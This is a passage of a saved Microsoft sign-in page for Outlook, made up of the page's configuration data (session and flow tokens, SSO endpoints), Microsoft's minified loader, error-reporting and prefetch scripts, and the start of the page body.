6As2C4PhDXGxoZYPQCJYMIRRKr8ux4CsNTxcFzaXtH8i4WhcmS7ecGfOwgsEIVNDGwSpUGaJVE5hF95hDnnCNyGK_bhmTqyz6aktMGGx5m07pD2WI8szP5dzRNBTf9nDe5wmALyovRL4QGU3Roof-vR2Aym-8NckBbRT6L6v50qlPGbusTZS0j8w2DjusHfPzbrh99tS7cHYVbUgPuOy1Z7LLWXQzU2PgT72j3DRNleKnyZJHGTzg7SPUzw3eF02PyFz9LuryM90UxKbAU3owifX16Wi7WyrfNIT_L4w7faCgTowaCm1B_wc1vzXm6atwnqmAPiHldhhb-PcNhc5IWpsCYnqSjZ5kxVfd0j7ZQn-82JFyBEWT8g9X8_oxIjc3cTLLMZ5ygI6YaXUul8wNzUbXr039ZNLDxC2Nc4NYgAA","sFTName":"flowToken","sFTCookieName":"ESTSWCTXFLOWTOKEN","sSessionIdentifierName":"code","sCtx":"rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iProductIcon":-1,"staticTenantBranding":null,"oAppCobranding":{"backgroundLogoIndex":53,"backgroundImageIndex":49,"friendlyAppName":"Outlook"},"iBackgroundImage":2,"arrSessions":[],"fApplicationInsightsEnabled":false,"iApplicationInsightsEnabledPercentage":0,"urlSetDebugMode":"https://login.microsoftonline.com/common/debugmode","fEnableCssAnimation":true,"fAllowGrayOutLightBox":true,"fIsRemoteNGCSupported":true,"desktopSsoConfig":{"isEdgeAnaheimAllowed":true,"iwaEndpointUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/sso?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaSsoProbeUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/ssoprobe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaIFrameUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/iframe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"https://outlook.office.com/owa/","redirectDssoErrorPostParams":{"error":"interaction_required","error_description":"Seamless single sign on failed for the user. This can happen if the user is unable to access on premises AD or intranet zone is not configured correctly\r\nTrace ID: XMRnTimestamp: 2021-03-06 11:19:43Z","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://autologon.microsoftazuread-sso.com/common/winauth/sso/edgeredirect?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026origin=login.microsoftonline.com\u0026is_redirected=1"},"urlLogin":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","urlDssoStatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus","iSessionPullType":2,"fUseSameSite":true,"iAllowedIdentities":1,"isGlobalTenant":true,"uiflavor":1001,"urlFidoHelp":"https://go.microsoft.com/fwlink/?linkid=2013738","urlFidoLogin":"https://login.microsoft.com/common/fido/get?uiflavor=Web\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","fIsFidoSupported":true,"fHideLocalAccount":false,"scid":1013,"hpgact":1800,"hpgid":1104,"pgid":"ConvergedSignIn","apiCanary":"AQABAAAAAAD--DLA3VO7QrddgJg7WevrDp27T3oS8EY6IpHrD2G4k144B9L1zo58D_xIvta8EaSnAUAUZl7p_i9bhWqF8eDyv8237lrgE13xRa0hMKbFIrlh_639vZJPXTZuWAWpl0V2OLtqAxS7EA4EbLTXm-4RZeR7f7AS_M5vx6vJZBcev_m_qdWGTIrjPvsAGvzOyHLmqXcCOuoId3Y1LGHqHtfkYMvOjw_KybS9tGdnK1DnMiAA","canary":"RpFH535KI29cVMPt95etwWZEIRUqo+jgHPMhOlilr+w=6:1","correlationId":"d254356d-ffce-4ea7-b0dd-9307eef5b6ee","sessionId":"46cb149f-9658-41b3-b269-70d217634400","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you in"}},"enums":{"ClientMetricsModes":{"None":0,"SubmitOnPost":1,"SubmitOnRedirect":2,"InstrumentPlt":4}},"urls":{"instr":{"pageload":"https://login.microsoftonline.com/common/instrumentation/reportpageload","dssostatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus"}},"browser":{"ltr":1,"Firefox":1,"_Win":1,"_M83":1,"_D0":1,"Full":1,"Win81":1,"RE_Gecko":1,"b":{"name":"Firefox","major":83,"minor":0},"os":{"name":"Windows","version":"10.0"},"V":"83.0"},"watson":{"url":"/common/handlers/watson","bundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watson.min_ybdb1ixzkv-fkor2mu6q6w2.js","sbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js","fbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js","resetErrorPeriod":5,"maxCorsErrors":-1,"maxInjectErrors":5,"maxErrors":10,"maxTotalErrors":3,"expSrcs":["https://login.microsoftonline.com","https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/",".login.microsoftonline.com"],"envErrorRedirect":true,"envErrorUrl":"/common/handlers/enverror"},"loader":{"cdnRoots":["https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/"],"logByThrowing":true},"serverDetails":{"slc":"ProdSlices","dc":"WUS2","ri":"MW1XXXX","ver":{"v":[2,1,11530,15]},"rt":"2021-03-06T11:19:43","et":52},"country":"US","fBreakBrandingSigninString":true,"fFixIncorrectApiCanaryUsage":true,"bsso":{"initiatePullTimeoutMs":100,"initiatePullTimeoutAction":"continue","rid":"XMR":"end","END_SSO":"end-sso","END_USERS":"end-users"},"forceTiles":true,"nonce":"AwABAAAAAAACAOz_BAD0_9IG1hbpUKFOYYR3vayixNgTGb1hnJ7vvvKBbl_5yS1z8SzReVS2k6qGIinDoJo0LwnH8ZlEM8cA7vnI96yAcIMgAA","overallTimeoutMs":4000,"telemetry":{"type":"TBAuthTelemetry","nonce":"AwABAAEAAAACAOz_BAD0_zAaVTb88660r1knGrRJDQW1Y_gVHcMu1323gMErKm5CKJKROxyGPcxg-oDpuMEzA-seAMmJNXwMSet6OD04-oIcADBRIGgEvHbMzsaVv7YvIAA","reportStates":["end","end-sso","end-users"]},"redirectEndStates":["end","end-users"],"cookieNames":{"aadSso":"AADSSO","winSso":"ESTSSSO","ssoTiles":"ESTSSSOTILES","ssoPulled":"SSOCOOKIEPULLED","userList":"ESTSUSERLIST"},"enabled":true,"type":"windows","reason":"Pull is needed; Forcing tiles experience as silent SSO not allowed"},"urlNoCookies":"https://login.microsoftonline.com/cookiesdisabled","fTrimChromeBssoUrl":true,"inlineMode":5,"fShowCopyDebugDetailsLink":true};
//]]></script> 
<script type="text/javascript">//<![CDATA[
!function(){var e=window,r=e.$Debug=e.$Debug||{},t=e.$Config||{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog||25,a=(new Date).toUTCString()+":"+e;n.push(o+":"+a),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(a){var i=e[a];if(a<n-1){return void(o.r[i]?t(a+1):o.when(i,function(){t(a+1)}))}r(i)}var n=e.length;t(0)}function r(e,r,a){function i(){var e=!!u.method,o=e?u.method:a[0],i=u.extraArgs||[],s=n.$WebWatson;try{
var c=t(a,!e);if(i&&i.length>0){for(var d=i.length,l=0;l<d;l++){c.push(i[l])}}o.apply(r,c)}catch(e){return void(s&&s.submitFromException&&s.submitFromException(e))}}var u=o.r&&o.r[e];return r=r||this,u&&(u.skipTimeout?i():n.setTimeout(i,0)),u}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do||(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function a(e){r(e,i,u)||o.q.push({"id":e,"c":i,"a":u})}var i=0,u=[],s=1;"function"==typeof n||(i=n,
s=2);for(var c=s;c<arguments.length;c++){u.push(arguments[c])}t instanceof Array?e(t,a):a(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var a={};if(t&&(a.method=t),n&&(a.skipTimeout=n),arguments&&arguments.length>3){a.extraArgs=[];for(var i=3;i<arguments.length;i++){a.extraArgs.push(arguments[i])}}o.r[e]=a,o.lock++;try{for(var u=0;u<o.q.length;u++){var s=o.q[u];s.id==e&&r(e,s.c,s.a)&&o.removeItems.push(s)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){
for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!i){if(!r.body){return void setTimeout(t)}i=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!u){if(!r.body){return void setTimeout(n)}t(),u=!0,e.$Do.register("doc.load",0,!0),a()}}function o(e){(r.addEventListener||"load"===e.type||"complete"===r.readyState)&&t()}function a(){
r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var i=!1,u=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){
return f.$Config||f.ServerData||{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src||r.href||"")+"'",e+=", id:"+(r.id||""),e+=", async:"+(r.async||""),e+=", defer:"+(r.defer||"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")||-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){
var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+v.length).toLowerCase()===v}function a(){var r=e();return(r.loader||{}).slReportFailure||r.slReportFailure||!1}function i(){return(e().loader||{}).redirectToErrorPageOnLoadFailure||!1}function u(){return(e().loader||{}).logByThrowing||!1}function s(e){if(!t()&&!n()){return!1}var r=e.src||e.href||"";if(!r){return!0}if(o(r)){var a,i,u;try{a=e.sheet,i=a&&a.cssRules,u=!1}catch(e){u=!0}if(a&&!i&&u){return!0}
if(a&&i&&0===i.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var s=null;return s=o(e)?a(e):"script"===n.toLowerCase()?i(e):u(e,n),r&&(s.id=r),"function"==typeof s.setAttribute&&(s.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&s.setAttribute("integrity",t)),s}function a(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function i(e){var r=g.createElement("script")
;return r.type="text/javascript",r.src=e,r.defer=!1,r.async=!1,r}function u(e,r){var t=g.createElement(r);return t.src=e,t}function d(e){if(!(m&&m.length>1)){return e}for(var r=0;r<m.length;r++){if(0===e.indexOf(m[r])){return m[r+1<m.length?r+1:0]+e.substring(m[r].length)}}return e}function l(e,t,n,o){if(r("[$Loader]: "+(b.failMessage||"Failed"),o),$[e].retry<p){return $[e].retry++,v(e,t,n),void c._ReportFailure($[e].retry,$[e].srcPath)}n&&n()}function f(e,t,n,o){if(s(o)){return l(e,t,n,o)}
r("[$Loader]: "+(b.successMessage||"Loaded"),o),v(e+1,t,n);var a=$[e].onSuccess;"function"==typeof a&&a($[e].srcPath)}function v(e,o,a){if(e<$.length){var i=$[e];if(!i||!i.srcPath){return void v(e+1,o,a)}i.retry>0&&(i.srcPath=d(i.srcPath),i.origId||(i.origId=i.id),i.id=i.origId+"_Retry_"+i.retry);var u=n(i.srcPath,i.id,i.integrity,i.tagName);u.onload=function(){f(e,o,a,u)},u.onerror=function(){l(e,o,a,u)},u.onreadystatechange=function(){"loaded"===u.readyState?setTimeout(function(){f(e,o,a,u)
},500):"complete"===u.readyState&&f(e,o,a,u)},t(u),r("[$Loader]: Loading '"+(i.srcPath||"")+"', id:"+(i.id||""))}else{o&&o()}}var h=e(),p=h.slMaxRetry||2,y=h.loader||{},m=y.cdnRoots||[],b=this,$=[];b.retryOnError=!0,b.successMessage="Loaded",b.failMessage="Error",b.Add=function(e,r,t,n,o,a){e&&$.push({"srcPath":e,"id":r,"retry":n||0,"integrity":t,"tagName":o||"script","onSuccess":a})},b.AddForReload=function(e,r){var t=e.src||e.href||"";b.Add(t,"AddForReload",e.integrity,1,e.tagName,r)},
b.AddIf=function(e,r,t){e&&b.Add(r,t)},b.Load=function(e,r){v(0,e,r)}}var d,l,f=window,g=f.document,v=".css";c.On=function(e,r,t){if(!e){throw"The target element must be provided and cannot be null."}r?c.OnError(e,t):c.OnSuccess(e,t)},c.OnSuccess=function(e,t){if(!e){throw"The target element must be provided and cannot be null."}if(s(e)){return c.OnError(e,t)}var n=e.src||e.href||"",o=a(),u=i();r("[$Loader]: Loaded",e);var d=new c;d.failMessage="Reload Failed",d.successMessage="Reload Success",
d.Load(null,function(){if(o){throw"Unexpected state. ResourceLoader.Load() failed despite initial load success. ['"+n+"']"}u&&(document.location.href="/error.aspx?err=504")})},c.OnError=function(e,t){var n=e.src||e.href||"",o=a(),u=i();if(!e){throw"The target element must be provided and cannot be null."}r("[$Loader]: Failed",e);var s=new c;s.failMessage="Reload Failed",s.successMessage="Reload Success",s.AddForReload(e,t),s.Load(null,function(){if(o){throw"Failed to load external resource ['"+n+"']"}
u&&(document.location.href="/error.aspx?err=504")}),c._ReportFailure(0,n)},c._ReportFailure=function(e,r){if(u()&&!t()){throw"[Retry "+e+"] Failed to load external resource ['"+r+"'], reloading from fallback CDN endpoint"}},f.$Loader=c}(),function(){function e(){if(!$){var e=new h.$Loader;e.AddIf(!h.jQuery,y.sbundle,"WebWatson_DemandSupport"),y.sbundle=null,delete y.sbundle,e.AddIf(!h.$Api,y.fbundle,"WebWatson_DemandFramework"),y.fbundle=null,delete y.fbundle,e.Add(y.bundle,"WebWatson_DemandLoaded"),
e.Load(r,t),$=!0}}function r(){if(h.$WebWatson){if(h.$WebWatson.isProxy){return void t()}m.when("$WebWatson.full",function(){for(;b.length>0;){var e=b.shift();e&&h.$WebWatson[e.cmdName].apply(h.$WebWatson,e.args)}})}}function t(){if(!h.$WebWatson||h.$WebWatson.isProxy){if(!w&&JSON){try{var e=new XMLHttpRequest;e.open("POST",y.url),e.setRequestHeader("Accept","application/json"),e.setRequestHeader("Content-Type","application/json; charset=UTF-8"),e.setRequestHeader("canary",p.apiCanary),
e.setRequestHeader("client-request-id",p.correlationId),e.setRequestHeader("hpgid",p.hpgid||0),e.setRequestHeader("hpgact",p.hpgact||0);for(var r=-1,t=0;t<b.length;t++){if("submit"===b[t].cmdName){r=t;break}}var o=b[r]?b[r].args||[]:[],a={"sr":y.sr,"ec":"Failed to load external resource [Core Watson files]","wec":55,"idx":1,"pn":p.pgid||"","sc":p.scid||0,"hpg":p.hpgid||0,"msg":"Failed to load external resource [Core Watson files]","url":o[1]||"","ln":0,"ad":0,"an":!1,"cs":"","sd":p.serverDetails,"ls":null,
"diag":v(y)};e.send(JSON.stringify(a))}catch(e){}w=!0}y.loadErrorUrl&&window.location.assign(y.loadErrorUrl)}n()}function n(){b=[],h.$WebWatson=null}function o(r){return function(){var t=arguments;b.push({"cmdName":r,"args":t}),e()}}function a(){var e=["foundException","resetException","submit"],r=this;r.isProxy=!0;for(var t=e.length,n=0;n<t;n++){var a=e[n];a&&(r[a]=o(a))}}function i(e,r,t,n,o,a,i){var u=h.event;return a||(a=l(o||u,i?i+2:2)),
h.$Debug&&h.$Debug.appendLog&&h.$Debug.appendLog("[WebWatson]:"+(e||"")+" in "+(r||"")+" @ "+(t||"??")),E.submit(e,r,t,n,o||u,a,i)}function u(e,r){return{"signature":e,"args":r,"toString":function(){return this.signature}}}function s(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){r.push(u(t[n],[]))}return r}function c(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){var o=u(t[n],[]);t[n+1]&&(o.signature+="@"+t[n+1],n++),r.push(o)}return r}function d(e){if(!e){return null}try{if(e.stack){
return s(e.stack)}if(e.error){if(e.error.stack){return s(e.error.stack)}}else if(window.opera&&e.message){return c(e.message)}}catch(e){}return null}function l(e,r){var t=[];try{for(var n=arguments.callee;r>0;){n=n?n.caller:n,r--}for(var o=0;n&&o<L;){var a="InvalidMethod()";try{a=n.toString()}catch(e){}var i=[],s=n.args||n.arguments;if(s){for(var c=0;c<s.length;c++){i[c]=s[c]}}t.push(u(a,i)),n=n.caller,o++}}catch(e){t.push(u(e.toString(),[]))}var l=d(e)
;return l&&(t.push(u("--- Error Event Stack -----------------",[])),t=t.concat(l)),t}function f(e){if(e){try{var r=/function (.{1,})\(/,t=r.exec(e.constructor.toString());return t&&t.length>1?t[1]:""}catch(e){}}return""}function g(e){if(e){try{if("string"!=typeof e&&JSON&&JSON.stringify){var r=f(e),t=JSON.stringify(e);return t&&"{}"!==t||(e.error&&(e=e.error,r=f(e)),(t=JSON.stringify(e))&&"{}"!==t||(t=e.toString())),r+":"+t}}catch(e){}}return""+(e||"")}function v(e){var r=[];try{
if(jQuery?(r.push("jQuery v:"+jQuery().jquery),jQuery.easing?r.push("jQuery.easing:"+JSON.stringify(jQuery.easing)):r.push("jQuery.easing is not defined")):r.push("jQuery is not defined"),e&&e.expectedVersion&&r.push("Expected jQuery v:"+e.expectedVersion),m){var t,n="";for(t=0;t<m.o.length;t++){n+=m.o[t]+";"}for(r.push("$Do.o["+n+"]"),n="",t=0;t<m.q.length;t++){n+=m.q[t].id+";"}r.push("$Do.q["+n+"]")}if(h.$Debug&&h.$Debug.getLogs){var o=h.$Debug.getLogs();o&&o.length>0&&(r=r.concat(o))}if(b){
for(var a=0;a<b.length;a++){var i=b[a];if(i&&"submit"===i.cmdName){try{if(JSON&&JSON.stringify){var u=JSON.stringify(i);u&&r.push(u)}}catch(e){r.push(g(e))}}}}}catch(e){r.push(g(e))}return r}var h=window,p=h.$Config||{},y=p.watson,m=h.$Do;if(!h.$WebWatson&&y){var b=[],$=!1,w=!1,L=10,E=h.$WebWatson=new a;E.CB={},E._orgErrorHandler=h.onerror,h.onerror=i,E.errorHooked=!0,m.when("jQuery.version",function(e){y.expectedVersion=e}),m.register("$WebWatson")}}(),function(){function e(e,r){
for(var t=r.split("."),n=t.length,o=0;o<n&&null!==e&&void 0!==e;){e=e[t[o++]]}return e}function r(r){var t=null;return null===s&&(s=e(a,"Constants")),null!==s&&r&&(t=e(s,r)),null===t||void 0===t?"":t.toString()}function t(t){var n=null;return null===i&&(i=e(a,"$Config.strings")),null!==i&&t&&(n=e(i,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}function n(e,r){var n=null;return e&&r&&r[e]&&(n=t("errors."+r[e])),n||(n=t("errors."+e)),n||(n=t("errors."+c)),n||(n=t(c)),n}
function o(t){var n=null;return null===u&&(u=e(a,"$Config.urls")),null!==u&&t&&(n=e(u,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}var a=window,i=null,u=null,s=null,c="GENERIC_ERROR";a.GetString=t,a.GetErrorString=n,a.GetUrl=o}(),function(){var e=window,r=e.$Config||{};e.$B=r.browser||{}}();

//]]></script> 

        <link rel="prefetch" href="https://login.live.com/Me.htm?v=3">
        <link rel="shortcut icon" href="https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico">

    <script type="text/javascript">
        ServerData = $Config;
    </script>


    
    <link crossorigin="anonymous" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css" rel="stylesheet" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-aaNZkp+Orf+VEZusNFIGnTEJZ9UmRa1+oTUDIv88KY1TTwkFhoZ4wzV9pd5ujWPC">



<script crossorigin="anonymous" src="https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_FZ20atAlhirHa_737xNftg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)"></script>

    <script crossorigin="anonymous" src="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-RUzxg1X2m7djUACTlbHZxYYNzWy5WKCPy5MncckGmTnhsxraQQQsSPOSAMHg1U68"></script>

    


<link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css"><link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js">
</head>

<body data-bind="defineGlobals: ServerData, bodyCssClass" class="cb" style="display: block;">
   
    <script type="text/javascript">
//<![CDATA[
(function () {
var $Prefetch={"rfPre":true,"delay":1000,"maxHistory":4,"maxAge":43200,"ageRes":1440,"name":"clrc","fetch":[{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css","hash":"TfCbp8XZ","co":true,"rf":true},{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js","hash":"0XngNfCT","co":true,"rf":true}],"mode":5};
!function(e,t,n){function r(e){x.appendLog&&x.appendLog("Client Prefetch: "+e)}function i(){try{for(var e=t.cookie.split(";"),r=0;r<e.length;r++){var i=e[r];if(i){var o=i.indexOf("=");if(-1!==o){if(i.substr(0,o).trim()===n.name){var u=i.substr(o+1);return JSON.parse(c(u))}}}}}catch(e){}return{}}function o(e,t,n){return e.replace(t,n)}function c(e){return e=o(e,/%5c/g,"\\"),e=o(e,/%3e/g,">"),e=o(e,/%3d/g,"="),e=o(e,/%3c/g,"<"),e=o(e,/%3b/g,";"),e=o(e,/%3a/g,":"),e=o(e,/%2c/g,","),e=o(e,/%27/g,"'"),
e=o(e,/%22/g,'"'),e=o(e,/%20/g," "),e=o(e,/%25/g,"%")}function u(e){return e=o(e,/%/g,"%25"),e=o(e,/ /g,"%20"),e=o(e,/"/g,"%22"),e=o(e,/'/g,"%27"),e=o(e,/,/g,"%2c"),e=o(e,/:/g,"%3a"),e=o(e,/;/g,"%3b"),e=o(e,/</g,"%3c"),e=o(e,/=/g,"%3d"),e=o(e,/>/g,"%3e"),e=o(e,/\\/g,"%5c")}function f(e){var r=new Date;r.setTime(r.getTime()+C*H),t.cookie=n.name+"="+u(JSON.stringify(e))+";expires="+r.toUTCString()+";path=/; Secure; SameSite=None"}function a(e,t){if(e){if(e.indexOf){return e.indexOf(t)}
for(var n=0;n<e.length;n++){if(e[n]===t){return n}}}return-1}function h(e,t){return-1!==a(e,t)}function g(e,t){var n=a(e,t);return-1!==n&&(e.splice(n,1),!0)}function l(e,t){for(var n in e){if(e.hasOwnProperty(n)&&!t(n,e[n])){break}}}function s(){var e=(new Date).getTime(),t=D*H;return P.getTime()>e?Math.round(e/t):Math.round((e-P.getTime())/t)}function d(e,t){var n=!1;if(t&&t.length>0){n=!0;for(var r=0;r<t.length;r++){delete e[t[r]]}}return n}function p(e){var t=s()-C,n=t+2*C,r=null,i=0,o=[]
;return l(e,function(c){return c<t||c>n?o.push(c):(0===e[c].length?o.push(c):(null===r||c<r)&&(r=c),i++),!0}),null!==r&&i>k&&o.push(r),d(e,o)}function v(e,t,n){r("Fetched: "+e+" Hash: "+t+" isRefresh: "+n);var o=i(),c=s(),u=!1,a=!1;if(l(o,function(e,n){return!h(n,t)||(e!==c?g(o[e],t)&&(a=!0):u=!0,!1)}),!u){var d=o[c]||[];d.push(t),o[c]=d,a=!0}a|=p(o),a&&f(o),b()}function m(t,n,i,o){var c={"method":"GET"};i&&(c.mode="cors"),e.fetch(t,c).then(function(e){
200===e.status?v(t,n,o):(r("Unexpected response - "+e.status),b())}).then(null,function(e){r("Failed - "+e),b()})}function T(){if(e.XMLHttpRequest&&!J){return new XMLHttpRequest}if(e.ActiveXObject){try{return new ActiveXObject("Msxml2.XMLHTTP")}catch(e){}try{return new ActiveXObject("Microsoft.XMLHttp")}catch(e){}}return null}function w(e,t,n,i,o){r("Fetching - "+t),e.onload=function(){v(t,n,o)},e.onerror=function(){r("XHR failed!"),b()},e.ontimeout=function(){r("XHR timed out!"),b()};try{e.open("GET",t),
e.withCredentials=i&&!N,e.send()}catch(r){N?setTimeout(function(){v(t,n,o)},0):(N=!0,w(e,t,n,!1,o))}}function O(t,n,i,o){if(e.fetch){return void m(t,n,i,o)}var c=T();if(null!==c){return void w(c,t,n,i,o)}r("Unable to identify a transport option!")}function b(){var e=n.fetch;if(X<e.length&&e[X]){var t=e[X];O(t.path,t.hash,t.co||!1,t.rf||!1),X++}}function y(e){if(e){try{var n=t.createElement("link");n.rel="prefetch",n.href=e,t.head.appendChild(n)}catch(e){}}}function M(){r("Starting"),b(),b()}function S(){
for(var t=e.$Config||e.ServerData||{},r=n.fetch,i=n.mode||-1,o=-1,c=0;c<r.length;c++){0!==o&&i>=3&&(o=r[c].rf?1:0),R&&!J&&y(r[c].path||{})}t.prefetchPltMode=o}if(n&&n.fetch&&0!==n.fetch.length){var x=e.$Debug||{},X=0,H=6e4,P=new Date(2019),k=n.maxHistory||4,C=n.maxAge||20160,D=n.ageRes||1440,L=n.delay||5e3,R=n.rfPre||!1,J=void 0!==(e._phantom||e.callPhantom),N=!1;JSON&&JSON.parse&&(n.clearCookie=function(){document.cookie=n.name+"=; expires=Thu, 01 Jan 1970 00:00:01 GMT;"},e.$Do.when("doc.load",function(){
setTimeout(M,L),setTimeout(S,0)}))}}(window,document,$Prefetch);

;
})();
//]]>
</script>


<div><!--  -->

<!--  -->


	  
	  

    <!-- ko if: svr.iBannerEnvironment --><!-- /ko -->

    <!-- ko withProperties: { '$loginPage': $data } -->
    <div data-bind="component: { name: 'master-page',
        params: {
            serverData: svr,
            showButtons: svr.fShowButtons,
            showFooterLinks: true,
            useWizardBehavior: svr.fUseWizardBehavior,
            handleWizardButtons: false,
            password: password,
            hideFromAria: ariaHidden },
        event: {
